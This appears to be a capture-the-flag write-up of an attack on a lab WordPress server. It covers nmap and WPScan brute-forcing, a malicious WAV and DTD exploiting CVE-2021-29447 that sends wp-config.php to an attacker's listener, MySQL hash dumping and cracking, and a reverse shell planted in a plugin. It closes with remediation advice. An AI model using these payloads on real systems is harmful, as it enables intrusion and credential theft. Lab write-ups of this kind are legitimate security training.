来源

关联漏洞

描述

The objective is to conduct a full-scale security assessment of a WordPress-based web application, culminating in a complete server compromise. The assessment will focus on exploiting a specific, real-world vulnerability (CVE-2021-29447) to achieve initial access.

介绍

Project Goal: To demonstrate a complete attack chain on a vulnerable WordPress installation, exploiting CVE-2021-29447 (XXE in media library) to achieve remote code execution and full system compromise.

Phase 1: Reconnaissance & Enumeration
Network Scanning with Nmap:

bash
 Quick SYN scan to discover open ports
nmap -sS -T4 10.201.3.95

 Detailed version and script scanning
nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan
Results:

text
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu
80/tcp   open  http     Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 5.6.2
3306/tcp open  mysql    MySQL 5.7.33
WordPress Enumeration with WPScan:

bash
User enumeration
wpscan --url http://10.201.3.95/ --enumerate u

Password brute-force attack
wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt
Credentials Obtained:

Username: test-corp | Password: test

Username: corp-001 | Password: teddybear (cracked later)

Phase 2: Initial Access - XXE Exploitation (CVE-2021-29447)
Malicious WAV File Creation:

bash
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.201.27.80:8000/yup.dtd'"'"'>%remote;%param;%send;]>\x00' > payload.wav
External DTD Payload (yup.dtd):

xml
<!ENTITY % payload SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/wp-config.php">
<!ENTITY % param "<!ENTITY &#37; send SYSTEM 'http://10.201.27.80:8000/?exfil=%payload;'>">
HTTP Server for Data Exfiltration:

bash
python3 -m http.server 8000
Data Decoding PHP Script:

php
<?php
$base64 = "hVTbjpswEH3fr+CxlYLMLTc/blX1ZVO1m6qvlQNeYi3Y1IZc+vWd8RBCF1aVDZrxnDk+9gxYY1p+4REMiyaj90FpdhDu+FAIWRsNiBhG77DOWeYAcreYNpUplX7A1QtPYPj4PMhdHYBSGGixQp5mQToHVMZXy2Wace+yGylD96EUtUSmJV9FnBzPMzL/oawFilvxOOFospOwLBf5UTLvTvBVA/A1DDA82DXGVKxqillyVQF8A8ObPoGsCVbLM+rewvDmiJz8SUbX5SgmjnB6Z5RD/iSnseZyxaQUJ3nvVOR8PoeFaAWWJcU5LPhtwJurtchfO1QF5YHZuz6B7LmDVMphw6UbnDu4HqXL4AkWg53QopSWCDxsmq0s9kS6xQl2QWDbaUbeJKHUosWrzmKcX9ALHrsyfJaNsS3uvb+6VtbBB1HUSn+87X5glDlTO3MwBV4r9SW9+0UAaXkB6VLPqXd+qyJsFfQntXccYUUT3oeCHxACSTo/WqPVH9EqoxeLBfdn7EH0BbyIysmBUsv2bOyrZ4RPNUoHxq8U6a+3BmVv+aDnWvUyx2qlM9VJetYEnmxgfaaInXDdUmbYDp0Lh54EhXG0HPgeOxd8w9h/DgsX6bMzeDacs6OpJevXR8hfomk9btkX6E1p7kiohIN7AW0eDz8H+MDubVVgYATvOlUUHrkGZMxJK62Olbbdhaob0evTz89hEiVxmGyzbO0PSdIReP/dOnck9s2g+6bEh2Z+O1f3u/IpWxC05rvr/vtTsJf2Vpx3zv0X";
echo zlib_decode(base64_decode($base64));
?>
Database Credentials Extracted:

php
define('DB_NAME', 'wordpressdb2');
define('DB_USER', 'thedarktangent');
define('DB_PASSWORD', 'sUp3rS3cret132');
define('DB_HOST', 'localhost');
Phase 3: Database Access & Credential Harvesting
MySQL Connection:

bash
mysql -h 10.201.3.95 -u thedarktangent -p
SQL Queries Executed:

sql
SHOW DATABASES;
USE wordpressdb2;
SHOW TABLES;
SELECT user_login, user_pass FROM wptry_users;
User Hashes Obtained:

text
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| corp-001   | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 |
| test-corp  | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 |
+------------+------------------------------------+
Password Cracking with John the Ripper:

bash
Create hash file
cat > wp_hashes.txt << EOF
corp-001:\$P\$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1
test-corp:\$P\$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0
EOF

Crack hashes
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
john --show wp_hashes.txt
Cracked Passwords:

corp-001:teddybear

test-corp:test

Phase 4: Privilege Escalation & RCE
Reverse Shell Payload (Modified Hello Dolly Plugin):

php
<?php
// PHP Reverse Shell payload
set_time_limit(0);
$VERSION = "1.0";
$ip = '10.201.27.80';
$port = 4444;
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/sh -i';

// ... full reverse shell code ...
?>
Netcat Listener:

bash
nc -nvlp 4444
Shell Access Obtained:

text
Connection received on 10.201.3.95 42314
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 5: Post-Exploitation (Pending Completion)
Commands for Next Session:

bash
Flag hunting
find / -name flag.txt 2>/dev/null
find / -name root.txt 2>/dev/null
find / -name user.txt 2>/dev/null

Privilege escalation enumeration
sudo -l
find / -perm -u=s -type f 2>/dev/null
cat /etc/crontab
ps aux
uname -a
cat /etc/os-release
Security Findings & Recommendations
Critical Vulnerabilities Identified:

CVE-2021-29447 - XML External Entity processing in WordPress Media Library

Weak Password Policy - Easily guessable passwords (test, teddybear)

Exposed Database Service - MySQL accessible remotely

Outdated Software - WordPress 5.6.2 with known vulnerabilities

Excessive User Privileges - Non-admin users with plugin modification rights

Remediation Recommendations:

Immediate update to latest WordPress version

Implement strong password policy and 2FA

Restrict database access to localhost only

Regular security patching and vulnerability scanning

Principle of least privilege for user accounts

Project Status: 90% Complete - Reverse shell obtained, final flag capture and privilege escalation pending new IP assignment.

PART 2  ! FLAG 
Final Phase: Post-Exploitation & Flag Capture
Objective: Achieve full system compromise and capture the final flag.

Actions Performed:

Reverse Shell Activation:

Edited the hello.php plugin file in the WordPress admin panel (/wp-admin/plugin-editor.php)

Inserted a PHP reverse shell payload configured to connect back to our Kali machine (10.201.6.187:4444)

Executed the payload by accessing: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php

Successful Shell Access:

Obtained a reverse shell connection as user www-data

Shell output:

text
Connection received on 10.201.46.113 46240
Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP
uid=33(www-data) gid=33(www-data) groups=33(www-data)
File System Exploration:

Discovered user directory: /home/stux/

Found flag directory: /home/stux/flag/

Located the flag file: /home/stux/flag/flag.txt

Flag Extraction:

Command executed: cat /home/stux/flag/flag.txt

Flag captured: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}

Complete Attack Chain Summary
Phase	Technique Used	Result
1. Reconnaissance	Nmap scanning	Discovered WordPress 5.6.2 on Apache/2.4.18
2. Initial Access	WPScan + Password brute-forcing	Gained admin access with test-corp:test
3. Vulnerability Exploitation	CVE-2021-29447 (XXE)	Extracted wp-config.php via malicious WAV file
4. Data Exfiltration	MySQL credential harvesting	Obtained DB credentials: thedarktangent:sUp3rS3cret132
5. Privilege Escalation	WordPress admin functionality	Edited plugin to gain reverse shell access
6. Final Compromise	System exploration	Captured final flag in /home/stux/flag/flag.txt
Key Security Findings
Critical Vulnerabilities Exploited:

CVE-2021-29447 - XML External Entity processing in WordPress Media Library

Weak Password Policy - Easily guessable passwords (test, teddybear)

Excessive User Privileges - Non-admin users able to modify plugins

Outdated Software - WordPress 5.6.2 with known vulnerabilities

Information Exposure - Database credentials in wp-config.php

Security Recommendations:

✅ Immediate update to latest WordPress version

✅ Implement strong password policy with 2FA

✅ Regular security patching and vulnerability scanning

✅ Principle of least privilege for user accounts

✅ Restrict file upload functionality and XML processing

Conclusion
Project Chimera successfully demonstrated a complete attack chain from initial reconnaissance to full system compromise. The exercise highlighted how a seemingly minor XML parsing vulnerability (CVE-2021-29447) could be chained with poor security practices to achieve complete system takeover.

The project emphasized the importance of:

Regular software updates and patch management

Strong authentication mechanisms

Proper access control and privilege management

Comprehensive security monitoring

Final Status: ✅ 100% Complete - All objectives achieved, flag captured: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}

Project Chimera serves as a powerful reminder that security requires defense in depth, as a single vulnerability can lead to complete system compromise when combined with other security weaknesses.

文件快照

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